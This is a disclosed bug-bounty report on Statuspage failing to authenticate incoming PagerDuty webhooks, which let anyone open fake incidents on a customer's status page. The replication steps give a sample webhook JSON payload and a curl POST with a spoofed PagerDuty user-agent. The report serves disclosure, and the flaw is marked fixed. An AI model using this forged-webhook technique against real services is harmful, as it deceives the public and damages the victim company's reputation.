No authentication of PagerDuty webhooks

Disclosed by
alokare
  • Engagement Statuspage
  • Disclosed date over 2 years ago
  • Reward $300
  • Priority P3 Bugcrowd's VRT priority rating
  • Status Resolved This vulnerability has been accepted and fixed
Summary by Statuspage

No authentication of PagerDuty webhooks vulnerability in Statuspage

Summary by alokare

Hi, can this report be disclosed, since it has been fixed?

Report details
  • Submitted

  • Target Location

    manage.statuspage.io
  • Target category

    Web App

  • VRT

    Server Security Misconfiguration
  • Priority

    P3
  • Bug URL
    https://manage.statuspage.io/pagerduty_webhooks/create
  • Description

    Background

    StatusPage has an integration with PagerDuty that allows the customer to create a StatusPage incident automatically when a PagerDuty incident is created. This is done by listening for PagerDuty webhooks at the URL https://manage.statuspage.io/pagerduty_webhooks/create

    The Problem

    StatusPage does not validate that the webhook sender is PagerDuty. As such, anyone can send a webhook with the right content to the above StatusPage URL and have it open an incident. The only piece of information an attacker needs to know is the victim's PagerDuty "Service Id" which is categorically not a secret. The Service Id is a short alphanumeric string e.g "P92PZQJ".

    For example, if an attacker knows that a pagerduty service id is configured by one of StatusPage's customers (Acme Inc), they can simply send a curl request to open a fake incident on Acme's StatusPage.io page. In addition to confusing Acme's customers, this has the potential to severely damage Acme's reputation. Note that the service id is not secret on the pagerduty side. As such, a non-privileged user in PagerDuty who has no access to create an incident in PagerDuty could still be able to view the service id (they have read-only views via both API and the website). However, this vulnerability would enable them to bypass PagerDuty altogether and create a fake incident directly on StatusPage.

    Replication steps

    1. Capture a PagerDuty webhook request for incident trigger for your own account
    2. Replace the PagerDuty service id with the victim's known service id. Example shown:

      "messages": [
      {
        "type": "incident.trigger",
        "data": {
          "incident": {
            "id": "PIMZBR3",
            "incident_number": 42,
            "created_on": "2020-07-13T07:19:17Z",
            "status": "triggered",
            "pending_actions": [],
            "html_url": "https://lean-java.pagerduty.com/incidents/PIMZBR3",
            "incident_key": "cf973b15f8b14be7b4b6f314e8047fa7",
            "service": {
              "id": "P92PZQJ", ------------------> replace this
              "name": "LJ Status Page",
              "html_url": "https://lean-java.pagerduty.com/service-directory/P92PZQJ",
              "deleted_at": null,
              "description": "Service for statuspage.io integration"
            },
            "escalation_policy": {
              "id": "PPDGHVJ",
              "name": "Default",
              "deleted_at": null
            },
            "assigned_to_user": {
              "id": "PIMGTPX",
              "name": "Ameya Lokare",
              "email": "lokare.ameya@gmail.com",
              "html_url": "https://lean-java.pagerduty.com/users/PIMGTPX"
            },
            "trigger_summary_data": {
              "subject": "status page incident to copy"
            },
            "trigger_details_html_url": "https://lean-java.pagerduty.com/incidents/PIMZBR3/log_entries/R9AGHIQS2TLTCKMAJKAJ7MUBZ6",
            "trigger_type": "web_trigger",
            "last_status_change_on": "2020-07-13T07:19:17Z",
            "last_status_change_by": null,
            "number_of_escalations": null,
            "assigned_to": [
              {
                "at": "2020-07-13T07:19:17Z",
                "object": {
                  "id": "PIMGTPX",
                  "name": "Ameya Lokare",
                  "email": "lokare.ameya@gmail.com",
                  "html_url": "https://lean-java.pagerduty.com/users/PIMGTPX",
                  "type": "user"
                }
              }
            ],
            "urgency": "high"
          }
        },
        "id": "29e389a2-c4d9-11ea-8134-0242c0a82a05",
        "created_on": "2020-07-13T07:19:17Z"
      }
      ]
      }
      
    3. Send request to StatusPage webhook listener using curl:

    curl -X 'POST' 'https://manage.statuspage.io/pagerduty_webhooks/create' -H 'content-type: application/json' -H 'user-agent: PagerDuty-Webhook/V1.0' -H 'x-webhook-id: 9f981ef8-c4d7-11ea-a692-0242c0a82a05' -H 'accept: application/json' -d @pagerduty_webhook.json
    

    Potential solution

    Use PagerDuty's IP safelists and mutual TLS to authenticate that the webhook sender is PagerDuty.

Activity